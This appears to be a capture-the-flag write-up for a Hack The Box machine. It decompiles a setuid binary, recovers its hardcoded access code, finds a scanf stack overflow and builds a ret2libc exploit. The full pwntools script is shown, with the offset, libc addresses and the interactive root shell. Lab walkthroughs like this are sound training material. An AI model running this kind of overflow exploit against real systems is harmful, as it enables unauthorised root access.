1
meterpreter > download /bin/lcars
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ chmod +x lcars
❯ file lcars
lcars: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88410652745b0a94421ce22ea4278a8eaea8db57, not stripped
❯ checksec lcars
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
❯ ./lcars
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code:
test
Invalid Code
Terminating Console
This looks exactly like the binary that is hosted on port 32812
.
Lets decompile the code on Ghidra and analyze the source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
undefined4 main(void)
{
char local_19 [9];
undefined *local_10;
local_10 = &stack0x00000004;
setresuid(0,0,0);
startScreen();
puts("Enter Bridge Access Code: ");
fflush(_stdout);
fgets(local_19,9,_stdin);
bridgeAuth(local_19);
return 0;
}
The main
function is checking for the Bridge Access Code
before allowing us in.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void bridgeAuth(char *param_1)
{
char local_32;
undefined uStack_31;
undefined uStack_30;
undefined uStack_2f;
undefined uStack_2e;
undefined uStack_2d;
undefined uStack_2c;
undefined uStack_2b;
undefined uStack_2a;
int local_14;
undefined4 local_10;
local_32 = 'p';
uStack_31 = 'i';
uStack_30 = 'c';
uStack_2f = 'a';
uStack_2e = 'r';
uStack_2d = 'd';
uStack_2c = 'a';
uStack_2b = '1';
local_10 = L'\t';
uStack_2a = '\0';
local_14 = strcmp(param_1,&local_32);
if (local_14 == 0) {
main_menu();
}
else {
puts("\nInvalid Code\nTerminating Console\n");
}
fflush(_stdout);
/* WARNING: Subroutine does not return */
exit(0);
}
The bridgeAuth
function seems to be comparing the code to picarda1
. If it’s picarda1
, then it will bring us to the main_menu
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void main_menu(void)
{
undefined4 local_d8 [52];
local_d8[0] = 0;
startScreen();
puts("\n");
puts("LCARS Bridge Secondary Controls -- Main Menu: \n");
puts("1. Navigation");
puts("2. Ships Log");
puts("3. Science");
puts("4. Security");
puts("5. StellaCartography");
puts("6. Engineering");
puts("7. Exit");
puts("Waiting for input: ");
fflush(_stdout);
__isoc99_scanf(&DAT_00010f92,local_d8);
/* WARNING: Could not find normalized switch variable to match jumptable */
/* WARNING: This code block may not be properly labeled as switch case */
unable();
return;
}
Another interesting function that Ghidra listed was disableForcefields
.
1
2
3
4
5
6
7
8
9
10
11
12
13
void disableForcefields(void)
{
undefined local_d4 [204];
startScreen();
puts("Disable Security Force Fields");
puts("Enter Security Override:");
fflush(_stdout);
__isoc99_scanf(&DAT_00010ec4,local_d4);
printf("Rerouting Tertiary EPS Junctions: %s",local_d4);
return;
}
The function reads a single string from the user with scanf
and prints it back as part of a message.
scanf
is known to be vulnerable to buffer overflow so lets exploit it.
Lets generate a set of unique characters and use it to exploit the buffer overflow.
1
2
❯ msf-pattern_create -l 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
❯ gdb -q lcars
pwndbg> r
Starting program: /home/shiro/Documents/HackTheBox/Enterprise/lcars
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code:
picarda1
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
4
Disable Security Force Fields
Enter Security Override:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
Program received signal SIGSEGV, Segmentation fault.
0x31684130 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────
EAX 0x11c
EBX 0x41386741 ('Ag8A')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x56555d30 (__libc_csu_init) ◂— push ebp
EBP 0x68413967 ('g9Ah')
ESP 0xffffd2e0 ◂— 'Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
EIP 0x31684130 ('0Ah1')
────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────
Invalid address 0x31684130
────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 ◂— 'Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
01:0004│ 0xffffd2e4 ◂— 'h3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
02:0008│ 0xffffd2e8 ◂— '4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
03:000c│ 0xffffd2ec ◂— 'Ah6Ah7Ah8Ah9Ai0Ai1Ai2A'
04:0010│ 0xffffd2f0 ◂— 'h7Ah8Ah9Ai0Ai1Ai2A'
05:0014│ 0xffffd2f4 ◂— '8Ah9Ai0Ai1Ai2A'
06:0018│ 0xffffd2f8 ◂— 'Ai0Ai1Ai2A'
07:001c│ 0xffffd2fc ◂— 'i1Ai2A'
──────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► 0 0x31684130 None
1 0x41326841 None
2 0x68413368 None
3 0x35684134 None
4 0x41366841 None
5 0x68413768 None
6 0x39684138 None
7 0x41306941 None
──────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
From the segmentation fault, we can get the EIP
value to find the offset.
1
2
❯ msf-pattern_offset -q 0Ah1
[*] Exact match at offset 212
212
is the amount of offset required. Lets test this by generating 212
A
s and 4
B
s.
1
2
❯ python3 -c 'print("A"*212 + "BBBB")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> r
...
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
...
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────
EAX 0xfa
EBX 0x41414141 ('AAAA')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x56555d30 (__libc_csu_init) ◂— push ebp
EBP 0x41414141 ('AAAA')
ESP 0xffffd2e0 ◂— 0
EIP 0x42424242 ('BBBB')
...
We observe that the 4
B
s are in the EIP now.
We will be exploiting ret2libc
to overwrite the return address of a function on the stack by using the libc
library.
Lets get the addresses for the libc
library.
1
2
3
4
5
www-data@enterprise:/var/www/html/files$ ldd /bin/lcars
ldd /bin/lcars
linux-gate.so.1 => (0xf7ffc000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
/lib/ld-linux.so.2 (0x56555000)
We observe that the libc.so.6
library is at address 0xf7e32000
.
Now lets get the addresses of system
and exit
.
1
2
3
4
www-data@enterprise:/var/www/html/files$ gdb /bin/lcars
(gdb) p &system
p &system
No symbol table is loaded. Use the "file" command.
The system doesn’t know because the program isn’t started or loaded yet. Lets set a breakpoint, run the program and get the addresses of system
and exit
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) b main
b main
Breakpoint 1 at 0xca0
(gdb) r
r
Starting program: /bin/lcars
Breakpoint 1, 0x56555ca0 in main ()
(gdb) p system
p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>
(gdb) p exit
p exit
$2 = {<text variable, no debug info>} 0xf7e3faf0 <exit>
Now lets try to find /bin/sh
between 2 memory addresses. We can search from the start of the libc
library address.
1
2
3
4
5
(gdb) find 0xf7e32000,+5000000,"/bin/sh"
find 0xf7e32000,+5000000,"/bin/sh"
0xf7f70a0f
warning: Unable to access 16000 bytes of target memory at 0xf7fca797, halting search.
1 pattern found.
We can verify this address by using x/s <address found>
.
1
2
3
(gdb) x/s 0xf7f70a0f
x/s 0xf7f70a0f
0xf7f70a0f: "/bin/sh"
However, this address is problematic as it has a 0x0a
byte in it which is ASCII for newline
.
Lets look for sh
addresses instead.
1
2
3
4
5
6
7
8
(gdb) find 0xf7e32000,+5000000,"sh"
find 0xf7e32000,+5000000,"sh"
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582
warning: Unable to access 16000 bytes of target memory at 0xf7fc8485, halting search.
4 patterns found.
We shall use the address 0xf7f70a14
since it is close to the /bin/sh
address. However, we should be able to use any of the other addresses too.
Lets craft the exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ cat solve.py
#!/usr/bin/env python3
from pwn import *
r = remote("enterprise.htb", 32812)
system_addr = p32(0xf7e4c060) # address of system function in libc
exit_addr = p32(0xf7e3faf0) # address of exit function in libc
sh_addr = p32(0xf7f6ddd5) # address of sh string in libc
payload = b"A" * 212 + system_addr + exit_addr + sh_addr
r.recvuntil("Enter Bridge Access Code:")
r.sendline("picarda1")
r.recvuntil("Waiting for input:")
r.sendline("4")
r.recvuntil("Enter Security Override:")
r.sendline(payload)
r.interactive()
b"A" * 212
: Fills the buffer and reaches the return address on the stack.system_addr
: Overwrites the return address to point tosystem
.exit_addr
: Adds the address ofexit
as the return address aftersystem
completes.sh_addr
: Providessh
as the argument forsystem
.
Run the exploit and get a root
shell.
1
2
3
4
5
6
7
8
9
10
❯ ./solve.py
[+] Opening connection to enterprise.htb on port 32812: Done
...
[*] Switching to interactive mode
$ whoami
root
$ cat /root/root.txt
639b4ffb52d51797e5bd94a93d63aae0